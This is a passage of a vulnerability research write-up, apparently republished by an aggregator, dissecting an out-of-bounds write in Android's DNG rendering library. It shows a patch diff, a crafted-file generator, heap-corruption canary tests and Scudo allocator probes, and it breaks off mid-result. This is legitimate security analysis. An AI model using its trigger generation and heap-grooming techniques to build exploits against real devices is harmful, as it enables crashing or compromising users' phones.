
Dissecting CVE-2026-27280: An OOB write in Android's DNG rendering engine
TL;DR — CVE-2026-27280 is an out-of-bounds write in Adobe’s DNG rendering engine
以下正文同步自 Hacker News 最新,版权归原站所有,已转换为易读排版。
TL;DR — CVE-2026-27280 is an out-of-bounds write in Adobe’s DNG rendering engine used by Android (libdng_sdk.so). An indexing bug makes the library write past the buffer when it decodes a plain camera RAW file — with an attacker-chosen destination. You don’t have to open the image: the system generating its preview is enough. I reproduced it on a Galaxy S25 updated to January 2026, where it kills the Samsung Gallery while it computes the thumbnail.
The post asks one question: is it RCE or just a crash (DoS)? The answer, measured step by step with the tools you’ll see here, is that it stops just short of RCE — and not because of PAC, BTI or the allocator’s checks, but because of one structural fact about the code. The CVE is rated HIGH (7.8): that is not a contradiction, because that score is for the PC, not for Android — and by the end you’ll see the whole difference lives right there.
DNG (Digital Negative) is a TIFF-based RAW container. Android decodes it with Skia (SkRawCodec), which leans on Adobe’s DNG SDK (libdng_sdk.so). Unlike a JPEG, a RAW is not just “shown”: it has to be rendered — demosaic, white balance, colour profile, tone curve. That is a lot of code, a lot of state, and it runs without interaction every time the system needs a preview: file-manager thumbnails, Google Photos indexing, MediaScanner, attachment previews.
The bug is in the heart of that rendering, in dng_render_task::ProcessArea. But I did not start from the code — I started from a crash.
The first signal was an AddressSanitizer heap-buffer-overflow WRITE on a DNG built with a normal crop geometry. ASAN always reports the same thing — “0 bytes after” the region — which is already informative: this is not an overflow that overruns a buffer by a little, it is a pointer that starts already displaced and whose write begins past the end.
To understand why, I did the highest-information-per-effort thing: I took the vulnerable version (build 2471) and the fixed one (build 2502) and read the diff of dng_render.cpp. The patch is small and says everything — Adobe replaces every dstArea with srcArea inside the function, and adds a guard:
- // This method expects and requires srcBuffer and dstBuffer areas
- // to be the same SIZE. The work for each row will be done in buffers
- // mapping srcArea and the resulting data for each row will be
- // translated and copied to dstArea in dstBuffer at the final step.
- DNG_REQUIRE (srcArea.Size () == dstArea.Size (), "area size mismatch"); ...
- tempMaskBuffer.fData = tempMaskBuffer.DirtyPixel (dstArea.t,
- dstArea.l,
- tempMaskBuffer.fData = tempMaskBuffer.DirtyPixel (srcArea.t,
- srcArea.l,
The added comment is the confession: the work for each row must be done in buffers mapping srcArea. That is the whole bug — the original maps over srcArea and indexes with dstArea.
dng_pixel_buffer tempMaskBuffer = buffer; // buffer.fArea == srcArea tempMaskBuffer.fData = tempMaskBuffer.DirtyPixel (dstArea.t, // <-- DST coordinates dstArea.l, dstMaskPlane);
DirtyPixel(row, col, plane) computes the offset as (row - fArea.t) * rowStep + …. With fArea == srcArea and row taken from dstArea, the offset becomes -fSrcOffset.v * rowStep * pixelSize: negative, hence outside the allocation.
This is not an integer overflow: it is a displacement, so it needs no giant allocation — which is exactly why it is reachable on a phone.
And fSrcOffset? It is DefaultCropArea().TL(), i.e. the DefaultCropOrigin tag. In real cameras it is never zero — it trims the sensor edges. That is the elegant part of the bug: the trigger is a normal property of a legitimate file, not an absurd value a parser would reject.
ASAN on a PC is one thing; the device is another. I pulled libdng_sdk.so from the S25 and wrote the shortest possible loader that goes through the public decode API — AImageDecoder, the same one the system uses:
AImageDecoder *dec = nullptr; AImageDecoder_createFromFd (fd, &dec); const AImageDecoderHeaderInfo *info = AImageDecoder_getHeaderInfo (dec); size_t stride = AImageDecoder_getMinimumStride (dec); size_t size = stride * (size_t) AImageDecoderHeaderInfo_getHeight (info); void *pixels = malloc (size); int rc = AImageDecoder_decodeImage (dec, pixels, stride, size); // <-- boom
Segmentation fault, and the tombstone confirms the chain is exactly the system one:
Cmdline: com.sec.android.gallery3d uid: 10130 signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xb400007c8b0e6400
#00 dng_render_task::ProcessArea /system/lib64/libdng_sdk.so #03 SkDngHost::PerformAreaTask /system/lib64/libhwui.so #07 dng_render::Render()+1096 #08 SkRawCodec::onGetPixels #14 android.graphics.BitmapFactory.decodeStream #16 UriThumbnailLoaderImpl.decodeImageThumbnail #19 LocalThumbnailLoaderImpl.getThumbnail
The last frames are the point: not the display, the thumbnail loader.
An honest caveat: I did not demonstrate zero-click. A MediaScanner broadcast on its own does nothing — it reads metadata, it does not render. Opening the file does. Browsing the grid with the file indexed did not crash, but that test is inconclusive, not negative.
And downscaling does not protect, as one might hope: I decoded the same file at every requested size and it always crashes, down to 1/32.
source: 248x1504 target full 1/2 1/4 1/8 1/16 1/32 result SEGV SEGV SEGV SEGV SEGV SEGV
- Tool number one: the generator
To study the primitive I needed to control it. I wrote gen_stride_dng.cpp, a parametric generator that does not hand-assemble TIFF bytes but builds a dng_negative in memory with the SDK and serialises it — so the output passes every parser check. The parameters are the bug’s knobs:
// non-zero crop origin -> becomes fSrcOffset, i.e. the OOB displacement negative->SetDefaultCropOrigin (offH, offV); negative->SetDefaultCropSize (imgW - offH, imgH - offV); negative->SetDefaultScale (dng_urational (1, 1), dng_urational (1, 1)); // no resample
// one background table (empty semantic name): the only path the Android API reaches tables.push_back (std::make_shared<dng_masked_rgb_table> (dng_string (), 1, makeTable ()));
The knobs:
A detail from the path: the background table (empty name, sequential method) is the only variant that reaches the bug through Skia, because libhwui imports BuildStage3Image and dng_render::Render but not ReadSemanticMasks. A variant depending on semantic masks would never fire that way.
Reading the source convinces you the primitive is powerful: up to 20 tables → a strided write, and since the mask is 8-bit and the copy is *dPtr = (1/255)·*sPtr, 256 writable values. I spent hours reasoning about that hypothesis. It was wrong on the Android path, and the way I found out is by measuring rather than assuming.
The plane count comes from smMap, the name→mask map, built like this:
const uint32 numMasks = negative.NumSemanticMasks (); for (uint32 i = 0; i < numMasks; i++) smMap.insert (std::make_pair (mask.fName, mask));
NumSemanticMasks() is 0 if nobody calls ReadSemanticMasks, and on Android nobody does. I verified with an A/B against the device library: same file, the only difference the call to ReadSemanticMasks, and I measured the temp buffer size by interposing malloc:
mode=skip (like Skia): semantic masks = 0 -> temp buffer 262208 B mode=read (like dng_validate): semantic masks = 3 -> temp buffer 1048640 B
262208 = 25625614 + 64 1048640 = 25625644 + 64
planes = 1 on the Android path, planes = 4 only if someone reads the masks. And two consequences follow that demolish the source-level hypothesis:
The write is contiguous, never strided. rowStep = W·planes = W and colStep = 1, so rows are adjacent: one block.
There is a single value. In the background loop numTransforms == 1 and backgroundIndex == 0, so the inner accumulation never iterates:
real32 mSum = 0.0f; for (int32 t = 0; t < numTransforms; t++) if (t != backgroundIndex) { ... mSum += m; } // never executed real32 bgWeight = 1.0f - Min_real32 (1.0f, mSum); // == 1.0f, ALWAYS
The writable set through the public API is the single value 0x3F800000 (i.e. 1.0f). This one line is the root of everything that follows.
Knowing the value in theory is one thing; seeing it hit the neighbours is another. I wrote canary_aimg.cpp: it fills the heap with canary chunks of the temp buffer’s size class, frees every other one to open holes, decodes the trigger, then classifies what changed — how many bytes, whether contiguous, and at what offset inside the neighbouring chunk. That is the number that matters: offset 0 is where a C++ object keeps its vptr.
std::vector<size_t> offhit (chunkb / 4, 0); for (auto &c : g_can) for (size_t k = 0; k < c.words; k++) if (c.p[k] != CANARY) offhit[k]++; // which words were touched // ... fprintf (stderr, "[c] offset 0 (vtable slot) reached: %s\n", offhit[0] ? "YES" : "NO");
With 32×2048, offV=400 (30 KB buffer, Scudo primary), through AImageDecoder:
[c] decodeImage -> 0 (SUCCESS) [c] canaries damaged : 2 [c] words overwritten : 7436 (29744 bytes) [c] offset 0 (vtable slot) reached: YES [c] distinct values written (1): 0x3F800000 x7436 [c] process survived
29 KB over two neighbouring chunks, offset 0 reached, single value, process alive. The first silent corruption demonstrated on the real path.
A constraint surfaced here: a large image gives a 256×256 tile → 262 KB buffer → Scudo secondary, which has guard pages, so any underflow faults at once. Silent corruption needs the buffer in the primary (≤ 64 KB), i.e. a narrow image. 32×2048 is narrow and big enough to be thumbnailed.
Before reasoning about the allocator I measured it, because the header geometry decides everything and reading Scudo’s source gives the wrong answer. probe_scudo_header.cpp corrupts one word at a given offset of every chunk, frees everything, and sees whether Scudo aborts — offsets that abort are metadata, those that survive are writable:
static int probe_offset (size_t req, long off, int nchunk)
{
pid_t pid = fork (); // in a child: an abort is observable, not fatal
if (pid == 0)
{
std::vector<uintptr_t> v;
for (int i = 0; i < nchunk; i++)
{ void *p = malloc (req); memset (p, 0x41, req); v.push_back ((uintptr_t) p); }
uint32_t pat = writable_pattern (255);
for (uintptr_t a : v) *(uint32_t *) ((char *) a + off) = pat; // corrupt at off
for (uintptr_t a : v) free ((void *) a); // Scudo validates here
_exit (0);
}
int st = 0; waitpid (pid, &st, 0);
return (WIFEXITED (st) && WEXITSTATUS (st) == 0) ? 0 : 1;
}
The byte dump around a chunk and the abort map say the header is not at payload−8 as the source would suggest:
p-16 .. p-9 : 01 01 01 00 00 00 62 7d <- packed header, Checksum=0x7d62 p-8 .. p-1 : 00 00 00 00 00 00 00 00 <- padding, NOT validated p+0 .. : payload
abort map: -16/-12 ABORT, -8/-4 survive, +16/+20 ABORT (== next block's header)
So the forbidden window is [0,8) of every block, and the block begins at payload−16. With this geometry the question that decides the most can be posed.
If the write is strided (R contiguous bytes, then a skip), maybe the runs can land only on the payload and step over the checksummed headers. stride_vs_scudo.cpp answers rigorously: first it computes the closed-form condition, then it replays it against the real allocator, with a contiguous overflow as a negative control.
The condition, with g = gcd(P, B): you need g ≥ R + 8 and phase mod g ∈ [8, g − R]. The replay:
// negative control: a contiguous overflow MUST abort // test: the strided pattern (W,planes,phase) must touch NO header for (int k = 0; k < rows; k++) { uint32_t *d = (uint32_t *) (start + (uintptr_t)(k * P)); for (int j = 0; j < W; j++) d[j] = pat; // R contiguous bytes, then period P } for (uintptr_t a : v) free ((void *) a); // survives => headers stepped over
Result:
block 32 control(contiguous): ABORTED strided(W=2,planes=2,phase=8): SURVIVED ... block 288 control(contiguous): ABORTE
正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。